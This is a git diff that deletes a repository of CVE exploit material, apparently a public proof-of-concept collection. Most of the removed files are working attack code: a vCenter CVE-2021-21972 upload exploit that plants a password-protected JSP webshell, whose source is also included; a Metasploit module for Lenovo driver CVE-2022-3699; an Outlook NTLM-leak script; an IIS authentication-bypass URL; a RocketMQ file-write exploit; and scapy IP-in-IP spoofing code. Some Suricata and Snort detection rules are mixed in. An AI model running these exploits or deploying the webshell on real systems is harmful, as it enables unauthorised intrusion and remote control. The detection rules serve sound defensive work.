Compare commits

..

No commits in common. "master" and "helloexp-patch-1" have entirely different histories.

1284 changed files with 384 additions and 11079 deletions

View File

@ -1,7 +0,0 @@
#Microsoft Netlogon Remote Protocol vulnerable to elevation of privilege CVE-2020-1472
#For wireshark geeks (netlogon.clientcred == 00:00:00:00:00:00:00:00 && netlogon.neg_flags == 0x212fffff)
#Note ntlmssp.neg_flags.na400000 == 0 is not enabled in the suricata rule which is a reliable
#Only captures bytes sequence, this IDS signature subject to some false/negative and
#possible false/positives
alert tcp any [1024: 65535] -> $HOME_NET [135:139, 445, 1024: 65535] (msg:"VU#490028: Microsoft Netlogon Remote Protocol vulnerable to elevation of privilege CVE-2020-1472"; flow: established,to_server; content: "|00 00 00 00 00 00 00 00 00|"; content: "|ff ff 2f 21|"; within: 12; sid:1367490028; classtype:attempted-admin; threshold: type limit, track by_src, seconds 180, count 1; reference: url,https://kb.cert.org/vuls/id/490028; rev:4;)

View File

@ -1,7 +0,0 @@
#Microsoft Netlogon Remote Protocol vulnerable to elevation of privilege CVE-2020-1472
#For wireshark geeks (netlogon.clientcred == 00:00:00:00:00:00:00:00 && netlogon.neg_flags == 0x212fffff)
#Note ntlmssp.neg_flags.na400000 == 0 is not enabled in the suricata rule which is a reliable
#Only captures bytes sequence, this IDS signature subject to some false/negative and
#possible false/positives tested with most exploits currently out
alert tcp any [1024: 65535] -> $HOME_NET [135:139, 445, 1024: 65535] (msg:"VU#490028: Microsoft Netlogon Remote Protocol vulnerable to elevation of privilege CVE-2020-1472"; flow: established,to_server; content: "|00 00 00 00 00 00 00 00|"; content: "|ff ff 2f 21|"; within: 12; sid:1367490028; classtype:attempted-admin; threshold: type limit, track by_src, seconds 180, count 1; reference: url,https://kb.cert.org/vuls/id/490028; rev:4;)

View File

@ -1,260 +0,0 @@
#/usr/bin/env python3
import requests
import os
import argparse
import urllib3
import tarfile
import time
import sys
# remove SSL warning
urllib3.disable_warnings()
# get script work path
WORK_PATH = os.path.split(os.path.realpath(__file__))[0]
# init payload path
WINDOWS_PAYLOAD = WORK_PATH + "/payload/Windows.tar"
LINUX_DEFAULT_PAYLOAD = WORK_PATH + "/payload/Linux.tar"
LINUX_RANDOM_PAYLOAD_SOURCE = WORK_PATH + "/payload/Linux/shell.jsp"
LINUX_RANDOM_PAYLOAD_TARFILE = WORK_PATH + "/payload/Linux_Random.tar"
# init vulnerable url and shell URL
VUL_URI = "/ui/vropspluginui/rest/services/uploadova"
WINDOWS_SHELL_URL = "/statsreport/shell.jsp"
LINUX_SHELL_URL = "/ui/resources/shell.jsp"
# set connect timeout
TIMEOUT = 10
# set headers
headers = {}
headers[
"User-Agent"
] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36"
headers["Cache-Control"] = "no-cache"
headers["Pragma"] = "no-cache"
# get vcenter version,code from @TaroballzChen
SM_TEMPLATE = b"""<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<env:Body>
<RetrieveServiceContent xmlns="urn:vim25">
<_this type="ServiceInstance">ServiceInstance</_this>
</RetrieveServiceContent>
</env:Body>
</env:Envelope>"""
def getValue(sResponse, sTag="vendor"):
try:
return sResponse.split("<" + sTag + ">")[1].split("</" + sTag + ">")[0]
except:
pass
return ""
def getVersion(sURL):
oResponse = requests.post(sURL + "/sdk", verify=False, timeout=5, data=SM_TEMPLATE)
if oResponse.status_code == 200:
sResult = oResponse.text
if not "VMware" in getValue(sResult, "vendor"):
print("[-] Not a VMware system: " + sURL, "error")
return
else:
sVersion = getValue(sResult, "version") # e.g. 7.0.0
sBuild = getValue(sResult, "build") # e.g. 15934073
sFull = getValue(sResult, "fullName")
print("[+] Identified: " + sFull, "good")
return sVersion, sBuild
print("Not a VMware system: " + sURL, "error")
sys.exit()
# Utils Functions, Code From @horizon3ai
def make_traversal_path(path, level=2):
traversal = ".." + "/"
fullpath = traversal * level + path
return fullpath.replace("\\", "/").replace("//", "/")
def archive(file, path):
tarf = tarfile.open(LINUX_RANDOM_PAYLOAD_TARFILE, "w")
fullpath = make_traversal_path(path, level=2)
print("[+] Adding " + file + " as " + fullpath + " to archive")
tarf.add(file, fullpath)
tarf.close()
# Tool Functions
def checkVul(URL):
try:
res = requests.get(
URL + VUL_URI, verify=False, timeout=TIMEOUT, headers=headers
)
print("[*] Check {URL} is vul ...".format(URL=URL))
if res.status_code == 405:
print("[!] {URL} IS vul ...".format(URL=URL))
return True
else:
print("[-] {URL} is NOT vul ...".format(URL=URL))
return False
except:
print("[-] {URL} connect failed ...".format(URL=URL))
return False
def checkShellExist(SHELL_URI):
time.sleep(
5
) # vCenter copy file to web folder need some time, on most test,5s is good
re = requests.get(SHELL_URI, verify=False, timeout=TIMEOUT, headers=headers)
if re.status_code == 200:
return True
else:
return False
def uploadWindowsPayload(URL):
file = {"uploadFile": open(WINDOWS_PAYLOAD, "rb")}
re = requests.post(
URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers
)
if "SUCCESS" in re.text:
if checkShellExist(URL + WINDOWS_SHELL_URL):
print(
"[+] Shell exist URL: {url}, default password:rebeyond".format(
url=URL + WINDOWS_SHELL_URL
)
)
else:
print("[-] All payload has been upload but not success.")
else:
print("[-] All payload has been upload but not success.")
def uploadLinuxShell(URL):
print("[*] Trying linux default payload...")
file = {"uploadFile": open(LINUX_DEFAULT_PAYLOAD, "rb")}
re = requests.post(
URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers
)
if "SUCCESS" in re.text:
print("[+] Shell upload success, now check is shell exist...")
if checkShellExist(URL + LINUX_SHELL_URL):
print(
"[+] Shell exist URL: {URL}, default password:rebeyond".format(
URL=URL + LINUX_SHELL_URL
)
)
else:
print(
"[-] Shell upload success, BUT NOT EXIST, trying Linux Random payload..."
)
uploadLinuxRandomPayload(URL)
else:
print("[-] Shell upload success, BUT NOT EXIST, trying windows payload...")
uploadWindowsPayload(URL)
def uploadLinuxRandomPayload(URL):
for i in range(0, 120):
"""
vCenter will regenerate web folder when vCenter Server restart
Attempts to brute force web folders up to 120 times
"""
archive(
LINUX_RANDOM_PAYLOAD_SOURCE,
"/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/{REPLACE_RANDOM_ID_HERE}/0/h5ngc.war/resources/shell.jsp".format(
REPLACE_RANDOM_ID_HERE=i
),
)
file = {"uploadFile": open(LINUX_RANDOM_PAYLOAD_TARFILE, "rb")}
re = requests.post(
URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers
)
if "SUCCESS" in re.text and checkShellExist(URL + LINUX_SHELL_URL):
print(
"[+] Shell exist URL: {url}, default password:rebeyond".format(
url=URL + LINUX_SHELL_URL
)
)
print(
"[+] Found Server Path exists!!!! Try times {REPLACE_RANDOM_ID_HERE}".format(
REPLACE_RANDOM_ID_HERE=i
)
)
exit()
def banner():
print(
"""
_______ ________ ___ ___ ___ __ ___ __ ___ ______ ___
/ ____\\ \\ / / ____| |__ \\ / _ \\__ \\/_ | |__ \\/_ |/ _ \\____ |__ \\
| | \\ \\ / /| |__ ______ ) | | | | ) || |______ ) || | (_) | / / ) |
| | \\ \\/ / | __|______/ /| | | |/ / | |______/ / | |\\__, | / / / /
| |____ \\ / | |____ / /_| |_| / /_ | | / /_ | | / / / / / /_
\\_____| \\/ |______| |____|\\___/____||_| |____||_| /_/ /_/ |____|
Test On vCenter 6.5 Linux/Windows
VMware-VCSA-all-6.7.0-8217866
VMware-VIM-all-6.7.0-8217866
VMware-VCSA-all-6.5.0-16613358
By: Sp4ce
Github:https://github.com/NS-Sp4ce
"""
)
if __name__ == "__main__":
banner()
parser = argparse.ArgumentParser()
parser.add_argument(
"-url",
"--targeturl",
type=str,
help="Target URL. e.g: -url 192.168.2.1/-url https://192.168.2.1",
)
args = parser.parse_args()
url = args.targeturl
if "https://" not in url:
url = "https://" + url
if checkVul(url):
sVersion, sBuild = getVersion(url)
if (
int(sVersion.split(".")[0]) == 6
and int(sVersion.split(".")[1]) == 7
and int(sBuild) >= 13010631
) or (
(int(sVersion.split(".")[0]) == 7 and int(sVersion.split(".")[1]) == 0)
):
print(
"[-] {TARGET} maybe running vCenter 6.7 U2+, and vCenter 6.7 U2+ running website in memory,so this exp may be not work well on vCenter 6.7 u2+.".format(TARGET=url)
)
userChoice = input("Do you still want to exploit?(y/n)")
if userChoice.lower() == "y":
uploadLinuxShell(url)
else:
sys.exit()
else:
uploadLinuxShell(url)
elif checkVul(url):
sVersion, sBuild = getVersion(url)
if (
int(sVersion.split(".")[0]) == 6
and int(sVersion.split(".")[1]) == 7
and int(sBuild) >= 13010631
) or (
(int(sVersion.split(".")[0]) == 7 and int(sVersion.split(".")[1]) == 0)
):
print(
"[-] {TARGET} maybe running vCenter 6.7 U2+, and vCenter 6.7 U2+ running website in memory,so this exp may be not work well on vCenter 6.7 u2+.".format(TARGET=url)
)
userChoice = input("Do you still want to exploit?(y/n)")
if userChoice.lower() == "y":
uploadLinuxShell(url)
else:
sys.exit()
else:
uploadLinuxShell(url)
else:
parser.print_help()

View File

@ -1,12 +0,0 @@
# CVE-2021-21972
# Works On
- VMware-VCSA-all-6.7.0-8217866、VMware-VIM-all-6.7.0-8217866 ✔
- VMware-VCSA-all-6.5.0-16613358 ✔
# For vCenter6.7 U2+
vCenter 6.7U2+ running website in memory,so this exp can't work for 6.7 u2+.
# Details
1. issue url `/ui/vropspluginui/rest/services/uploadova`,完整路径(`https://domain.com/ui/vropspluginui/rest/services/uploadova`
2. `payload`文件夹内的`*.tar`文件为冰蝎3 webshell

View File

@ -1 +0,0 @@
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}/*1kdnwbry2LyI7pyA*/%>

View File

@ -1,116 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Exploit::Local::WindowsKernel
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'Lenovo Diagnostics Driver IOCTL memmove',
'Description' => %q{
Incorrect access control for the Lenovo Diagnostics Driver allows a low-privileged user the ability to
issue device IOCTLs to perform arbitrary physical/virtual memory read/write.
},
'License' => MSF_LICENSE,
'Author' => [
'alfarom256', # Original PoC
'jheysel-r7' # msf module
],
'Arch' => [ ARCH_X64 ],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Targets' => [
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'References' => [
[ 'CVE', '2022-3699' ],
[ 'URL', 'https://github.com/alfarom256/CVE-2022-3699/' ]
],
'DisclosureDate' => '2022-11-09',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => []
},
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_railgun_api
]
}
}
}
)
)
end
def check
unless session.platform == 'windows'
# Non-Windows systems are definitely not affected.
return Exploit::CheckCode::Safe
end
handle = open_device('\\\\.\\LenovoDiagnosticsDriver', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
if handle.nil?
return Exploit::CheckCode::Safe
end
session.railgun.kernel32.CloseHandle(handle)
CheckCode::Appears
end
def target_compatible?
build_num = sysinfo['OS'].match(/Build (\d+)/)[1].to_i
vprint_status("Windows Build Number = #{build_num}")
return true if sysinfo['OS'] =~ /Windows 10/ && build_num >= 14393 && build_num <= 19045
return true if sysinfo['OS'] =~ /Windows 11/ && build_num == 22000
return true if sysinfo['OS'] =~ /Windows 2016\+/ && build_num >= 17763 && build_num <= 20348
false
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
# check that the target is a compatible version of Windows (since the offsets are hardcoded) before loading the RDLL
unless target_compatible?
fail_with(Failure::NoTarget, 'The exploit does not support this target')
end
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
end
encoded_payload = payload.encoded
execute_dll(
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-3699', 'CVE-2022-3699.x64.dll'),
[encoded_payload.length].pack('I<') + encoded_payload
)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end

View File

@ -1,7 +0,0 @@
### CVE
`CVE-2022-3699`
### 漏洞描述
> 通过控制`Lenovo Diagnostics Driver` 可以通过低权限的用户,访问任意的内存空间
### POC 使用
直接导入metasploit 平台即可使用

View File

@ -1,46 +0,0 @@
# CVE-2023-23397
# outlook 信息泄露漏洞
# 需要配合Responder 使用
# usage
# Import-Module .\exp.ps1
# Send-CalendarNTLMLeak -recipient "test@xyc.com" -remotefilepath "192.168.128.132\\\foo\bar.wav" -meetingsubject "THM Meeting" -meetingbody "This is just a test"
function Send-CalendarNTLMLeak ($recipient, $remotefilepath, $meetingsubject, $meetingbody)
{
# Add-Type -assembly "Microsoft.Office.Interop.Outlook"
$Outlook = New-Object -comobject Outlook.Application
$newcal = $outlook.CreateItem('olAppointmentItem')
$newcal.ReminderSoundFile = $remotefilepath
$newcal.Recipients.add($recipient)
$newcal.MeetingStatus = [Microsoft.Office.Interop.Outlook.OlMeetingStatus]::olMeeting
$newcal.Subject = $meetingsubject
$newcal.Location = "Virtual"
$newcal.Body = $meetingbody
$newcal.Start = get-date
$newcal.End = (get-date).AddHours(2)
$newcal.ReminderOverrideDefault = 1
$newcal.ReminderSet = 1
$newcal.ReminderPlaysound = 1
$newcal.send()
}
function Save-CalendarNTLMLeak ($remotefilepath, $meetingsubject, $meetingbody)
{
$Outlook = New-Object -comObject Outlook.Application
$newcal = $outlook.CreateItem('olAppointmentItem')
$newcal.ReminderSoundFile = $remotefilepath
$newcal.MeetingStatus = [Microsoft.Office.Interop.Outlook.OlMeetingStatus]::olMeeting
$newcal.Subject = $meetingsubject
$newcal.Location = "Virtual"
$newcal.Body = $meetingbody
$newcal.Start = get-date
$newcal.End = (get-date).AddHours(2)
$newcal.ReminderOverrideDefault = 1
$newcal.ReminderSet = 1
$newcal.ReminderPlaysound = 1
$newcal.save()
}

View File

@ -1,35 +0,0 @@
# CVE-2023-36899.NET 身份绕过 IIS 认证
默认情况下.NET 会话产生的 SessionID 一般位于 HTTP 报文请求或者响应的 Cookie 字段,
命名方式如下
`Cookie:ASP.NET_SessionId=uxfzmc552rdiwh45ja2t3vud;`
如果不想用上述的 Cookie 存储方式也可以改成 Cookie 不带 SessionID 这样的会话,只需要在 web.config 配置<SessionState>节点属性 cookieless 属性为 true这样.NET 将会话 ID 随着 HTTP 请求附加到 URL 地址上。配置清单如下
```xml
<system.web>
<sessionState cookieless="true"/>
</system.web>
```
这样配置后 Cookie 作为 URL 地址的一部分,会话 SessionID 值都以明文的形式发送显然
是不安全的。如下图
但是在早期基于.NET Framwork 版本的应用中大量存在这样的场景,然而这种特性也会存
在绕过 IIS 身份验证的风险。以下通过实验演示绕过 IIS 身份验证的漏洞场景。
在 IIS 项目中 Windows 身份验证是一种强大且广泛使用的身份验证方法,需要匿名访问的
用户输入正确的 Windows 本地帐户登录后才能访问该 Web 应用。配置 Windows 身份验证
步骤如下:
1. 启用 Windows 身份验证安全功能
2. 打开 IIS10 选择 Uploads 目录后进入身份验证模块,启用 Windows 身份验证
配置完成后访问 /(S(mwdwx5uhl2yqliv2w45c5cla))/uploads/dynamicCompilerSpy.aspx
弹出授权登录对话框如下图
遇到这种需要本地 Windows 账户登录才能访问,一般攻击在打点时遇到这样 WebShell 上
传后的场景还是比较常见的,以前可能就放弃或者找其他的解决办法,现在可以用 URL 会
话 ID 的方式绕过,
3. 常用的 Bypass Payload 如下
`(S(mwdwx5uhl2yqliv2w45c5cla))/up/(S(mwdwx5uhl2yqliv2w45c5cla))loads/
`
输入两次会话 ID并且拆解了 uploads 目录,这对绕过 WAF 等安全防护也是有用的。请求
`http://192.168.101.77/(S(mwdwx5uhl2yqliv2w45c5cla))/up/(S(mwdwx5uhl2yqliv2w45c5cla))loads/dynamicCompilerSpy.aspx`
后成功绕过 Windows 身份认证

View File

@ -1 +0,0 @@
http://192.168.101.77/(S(mwdwx5uhl2yqliv2w45c5cla))/up/(S(mwdwx5uhl2yqliv2w45c5cla))loads/dynamicCompilerSpy.aspx

View File

@ -1,76 +0,0 @@
import sys
import argparse
import socket
import binascii
def exploit(address, port):
try:
client_socket = socket.socket()
client_socket.settimeout(5) # Set socket timeout to 5 seconds
client_socket.connect((address, port))
# common/src/main/java/org/apache/rocketmq/common/protocol/RequestCode.java
# public static final int UPDATE_NAMESRV_CONFIG = 318;
header = '{"code":318,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":405}'.encode(
'utf-8')
body = 'configStorePath=/tmp/pwned\nproductEnvName=test/path\\ntest\\ntest'.encode('utf-8')
header_length = int(len(binascii.hexlify(header).decode('utf-8')) / 2)
header_length_hex = '00000000' + str(hex(header_length))[2:]
total_length = int(4 + len(binascii.hexlify(body).decode('utf-8')) / 2 + header_length)
total_length_hex = '00000000' + str(hex(total_length))[2:]
data = total_length_hex[-8:] + header_length_hex[-8:] + binascii.hexlify(header).decode(
'utf-8') + binascii.hexlify(body).decode('utf-8')
client_socket.send(bytes.fromhex(data))
data_received = client_socket.recv(1024)
print(data_received)
client_socket.close()
except socket.timeout:
print(f"Connection to {address}:{port} timed out")
def get_namesrv_config(address, port):
try:
client_socket = socket.socket()
client_socket.settimeout(5) # Set socket timeout to 5 seconds
client_socket.connect((address, port))
# common/src/main/java/org/apache/rocketmq/common/protocol/RequestCode.java
# public static final int GET_NAMESRV_CONFIG = 319;
header = '{"code":319,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":405}'.encode(
'utf-8')
header_length = int(len(binascii.hexlify(header).decode('utf-8')) / 2)
header_length_hex = '00000000' + str(hex(header_length))[2:]
total_length = int(4 + header_length)
total_length_hex = '00000000' + str(hex(total_length))[2:]
data = total_length_hex[-8:] + header_length_hex[-8:] + binascii.hexlify(header).decode('utf-8')
client_socket.send(bytes.fromhex(data))
data_received = client_socket.recv(1024)
print(data_received)
client_socket.close()
except socket.timeout:
print(f"Connection to {address}:{port} timed out")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='RocketMQ Exploit')
parser.add_argument('-ip', default='127.0.0.1', help='Nameserver address')
parser.add_argument('-p', default=9876, type=int, help='Nameserver listen port')
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
print('current nameserver config:')
get_namesrv_config(args.ip, args.p)
exploit(args.ip, args.p)
print('modified nameserver config:')
get_namesrv_config(args.ip, args.p)

View File

@ -1,50 +0,0 @@
# CVE-2023-37582_EXPLOIT
Apache RocketMQ Arbitrary File Write Vulnerability Exploit Demo
# Overview
In fact, the Arbitrary file write vulnerability(CVE-2023-37582) in Apache RocketMQ has already been addressed in the CVE-2023-33246 RCE vulnerability.
However, the fix provided for [CVE-2023-33246](https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT) RCE is not comprehensive as it only resolves the impact on RocketMQ's broker.
This vulnerability affects RocketMQ's nameserver, and exploiting it allows for arbitrary file write capabilities.
# Setup local RocketMQ environment via Docker
```bash
# start name server
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.6 sh mqnamesrv
# start broker
docker run -d --name rmqbroker \
--link rmqnamesrv:namesrv \
-e "NAMESRV_ADDR=namesrv:9876" \
-p 10909:10909 \
-p 10911:10911 \
-p 10912:10912 \
apache/rocketmq:4.9.6 sh mqbroker \
-c /home/rocketmq/rocketmq-4.9.6/conf/broker.conf
```
# Exploit
It is important to note that the exploit provided is for demonstration purposes only.
The current exploit allows for the writing of a file to the nameserver's `/tmp/pwned` directory.
Modifying the content of the `body` variable allows for the exploitation of this vulnerability by writing an OpenSSH private key or adding a cronjob.
However, it is crucial to remember that such activities are unauthorized and can lead to serious security breaches.
It is strongly advised to refrain from engaging in any malicious activities and to prioritize responsible and ethical cybersecurity practices.
```
usage: CVE-2023-37582.py [-h] [-ip IP] [-p P]
RocketMQ Exploit
optional arguments:
-h, --help show this help message and exit
-ip IP Nameserver address
-p P Nameserver listen port
```
# References
[RocketMQ commit: Fix incorrect naming](https://github.com/apache/rocketmq/pull/6843/files)

View File

@ -1,40 +0,0 @@
# cve-2020-10136
You can use this code to verify if your device supports default IP-in-IP
encapsulation from arbitrary sources to arbitrary destinations. The intended
use of this code requires at least two more devices with distinct IP
addresses for these two devices. The testing in "bypass" mode requires
the vulnerable device to be "dual-homed" so routing to the "inside"
network from an external network interface can be verified.
Spoof mode:
![Spoof mode](spoof.png)
The demonstration script can be used in two ways - spoof mode and
bypass mode. Initial setup requires at least three devices for this
testing. In the simple spoofing mode, attacker will send a IP-in-IP
packet from their device to a vulnerable machine
(VULNERABLE_MACHINE_IP sys.argv[1]) to replay a packet to the victim's
device (VICTIM_IP sys.argv[2]). This mode demonstrates a DDOS
capability to send unsolicited traffic to VICTIM_IP. Because this
packet has valid source and destination, anti-spoofing measure such as
BCP-38 will not block this crafted packet. The intended traffic can be
routed through the VULNERABLE_IP to the VICTIM_IP device by an
unauthenticated attacker.
Bypass mode:
![Bypass mode](bypass.png)
In the bypass mode (using all 4 arguments for the script), the
attacker will send a crafted IP-in-IP packet from the attacker's
device to a vulnerable device (VULNERABLE_MACHINE_IP sys.argv[1]). The
vulnerable device will receive and decapsulate the packet and forward
the inner IP packet to the victim device (VICTIM_IP sys.argv[2])
machine with a source IP Address of DATA_COLLECT_IP (sys.argv[3]). The
attacker can thus solicit information using the sample SNMP query to
be sent to DATA_COLLECT_IP which he has access to. In the provided
example, device at the VICTIM_IP address is assumed to have SNMP
enabled with the standard "public" community string for read-only
access. SNMP is being demonstrated here, but this forwarding behavior
can allow for many types of unexpected IP traffic to traverse using
the vulnerable machine as a forwarding point for any nefarious
communications as planned by the attacker.

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

View File

@ -1,6 +0,0 @@
#This Snort IDS rule looks for any IP-in-IP traffic, whether
#intentional or not. Further filtering can be applied to ignore sources
#and destinations that are allowed by your policy to route IP-in-IP
#traffic.
alert ip any any -> any any (msg:"IP-in-IP Tunneling Detected VU#636397 https://kb.cert.org"; ip_proto:4; sid: 1367636397;
rev:1;)

View File

@ -1,29 +0,0 @@
#!/usr/bin/env python3
#Thanks to Yannay Livneh for sharing this PoC script
#PoC script slightly modified to test bypass mode
import sys
from scapy.all import *
if len(sys.argv) < 3:
print("Usage "+sys.argv[0]+" VULNERABLE_MACHINE_IP VICTIM_IP [DATA_COLLECT_IP] [spoof|bypass]")
print("\t - Optional arguments DATA_COLLECT_IP and bypass can be used to test bypass NAT")
sys.exit(0);
## IP-in-IP forwarding device vulnerable to VU-636397
VULNERABLE_MACHINE_IP = sys.argv[1]
## VICTIM IP of the machine we want to send packet to
VICTIM_IP = sys.argv[2]
if len(sys.argv) == 5 and sys.argv[4] == "bypass":
## Address we want to send the return traffic back to
DATA_COLLECT_IP = sys.argv[3]
## LAN bypass mode to jump into VICTIM_IP network
## send IP over IP (proto 4) to pull sys.descr from VICTIM_IP and send to DATA_COLLECT_IP
send(IP(dst=VULNERABLE_MACHINE_IP)/IP(src=DATA_COLLECT_IP,dst=VICTIM_IP)/UDP(sport=3363)/
SNMP(community="public",PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID("1.3.6.1.2.1.1.1.0"))])))
else:
## spoof mode to spoof vulnerable device to send unsolicited traffic to VICTIM_IP
## send unsolicited reflective DOS traffic to VICTIM_IP on port 3363 saying "I am Vulnerable"
send(IP(dst=VULNERABLE_MACHINE_IP)/IP(src=VULNERABLE_MACHINE_IP, dst=VICTIM_IP)/UDP(sport=3363, dport=3363)/
Raw(load="I am Vulnerable\n"))
## To see the packets in the DATA_COLLECTOR or VICTIM_IP execute:
## tcpdump -i any -nvvv udp port 3363

Binary file not shown.

Before

Width:  |  Height:  |  Size: 17 KiB

View File

@ -1,9 +0,0 @@
# CVE-2020-12695 vulnerability information
Surricata IDS rule is enclosed here that can provide information on how to detect abuse of this vulnerbaility. You can update the IDS rule to change $HOME address to be other than the RFC1918 and RFC4193 IP space in the rule.
1. Vulnerability note is available at [https://kb.cert.org/vuls/id/339275](https://kb.cert.org/vuls/id/339275), will be constantly updated with new information from vendors.
2. Check at [https://callstranger.com](https://callstranger.com) for exploits and work done by Yunus ÇADIRCI show reported this vulnerability.
3. Check the PoC available in [Yunus Github repository](https://github.com/yunuscadirci/CallStranger)

View File

@ -1,4 +0,0 @@
#Surricata rule to test for SUBSCRIBE being abused. Case sensitivity is NOT required as HTTP
#method SUBSCRIBE is supposed to be uppercase. However we saw some implementations that
#accept HTTP method in lowercase.
alert http any any -> ![fd00::/8,192.168.0.0/16,10.0.0.0/8,172.16.0.0/12] any (msg:"UPnP SUBSCRIBE request seen to external network VU#339275: CVE- 2020-12695 https://kb.cert.org "; content: "subscribe"; nocase; http_method; sid:1367339275;)

View File

@ -1,33 +0,0 @@
# cve-2020-8597-pptpd
You can use this code to verify if your PPTPD server is likely vulnerable to CVE-2020-8597 vulnerability.
Usage
prompt# ./pptp_poc.py
Usage ./pptp_poc.py PPTP_Server to test for CVE-2020-8597
prompt# ./pptp_poc.py 172.19.12.21
Initiating communications with PPTP server 172.19.12.21
Connected to PPTP server, now sending large buffer to peer to attempt buffer overflow
Server 172.19.12.21 is likely vulnerable, did not return anything after EAP packet
prompt# DEBUG=1 ./pptp_poc.py 172.19.12.24
Initiating communications with PPTP server 172.19.12.24
.... debug info ....
Connected to PPTP server, now sending large buffer to peer to attempt buffer overflow
Server 172.19.12.24 is likely vulnerable, did not return anything after EAP packet
prompt# ./pptp_poc.py 172.19.12.254
Initiating communications with PPTP server 172.19.12.254
Connected to PPTP server, now sending large buffer to peer to attempt buffer overflow
Server 172.19.12.254 is likely NOT vulnerable to buffer overflow
Verifying peer 172.19.12.254 one more time using a Echo request to the peer
Received a normal PPP Echo Reply, System is mostly likely NOT vulnerable
There are some sample PCAP file with exploit (and without exploit) and matching
snort rules included in this repository. Read the cve-2020-8597-pptpd.rules file
for details
###
Copyright and license:
See License under https://github.com/CERTCC/PoC-Exploits

View File

@ -1,15 +0,0 @@
#IDS rules are bound to have false/positive and false/negatives at times. Note:
#these can be easily evaded by padding and other tricks done when packet crafting.
#USE AT YOUR OWN RISK!
#We have done our best to avoid false/negatives. There is a sample pcap file in
#this folder called gre-samples.pcap which has one GRE EAP-MD5 packet matching buffer
#overflow payload (256 length hostname 'AA..A') and one that does not (255 length
#hostname with 'AA..A')
#GRE packet ip_proto == 47
#This also could be EAP-MD5 response but usually ignored by PPTPD so focus on EAP-MD5 challenge
#PPP - EAP-MD5 Challenge packet == 0xc22701
#Hostname greater than 256 and total length greater than, Note: IP Frame 20 bytes is not
#included in the dsize.
#Length of hostname > 256, so total_packet >287 bytes = 12 (Ethernet-Frame) + GRE Encapsulation (12) + PPP-Protocol (2) + EAP-Framing-length(4)
#Using GRE rules SID format 116:161:*
alert ip any any -> any any (msg:"GRE EAP-Md5 Challenge abnormal length, posisble buffer overflow"; ip_proto:47; content: "|c2 27 01|"; offset: 0; dsize: > 287; sid: 1161617194; rev:1; rawbytes;)

View File

@ -1,165 +0,0 @@
#!/usr/bin/python3
from scapy.all import *
import socket
import sys
import signal
import os
conf_ack_received = False
conf_ack_sent = False
debug = False
if os.environ.get("DEBUG"):
debug = True
def pkt_callback(pkt):
global gre_stream, server_conf_request, call_reply, conf_ack_received, conf_ack_sent, debug
if debug:
print("Received a GRE packet that shows continued conversation for EAP")
pkt.show()
if pkt.haslayer(PPP):
if pkt.getlayer(PPP).proto == 49699 : # CHAP 0xc223
conf_ack_received = True
if debug:
print("Received a CHAP challenge from peer ignoring")
print("Assuming we received a Conf-Ack already")
return
if pkt.haslayer(EAP):
if pkt.getlayer(EAP).code == 2 :
#EAP Response received for the sent EAP request with bad payload
if pkt.getlayer(EAP).type == 3: # If EAP-NaK recevied assume server is ok
print("Server %s is likely NOT vulnerable " % (sys.argv[1]))
sys.exit(0)
if pkt.haslayer(PPP_LCP_Configure) :
p_layer = pkt.getlayer(PPP_LCP_Configure)
cid = p_layer.id
if p_layer.code == 2:
if debug:
print("Received Conf ack we are all okay")
conf_ack_received = True
if conf_ack_sent == True:
return
else:
sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0)
if p_layer.code == 1: #config request
if debug:
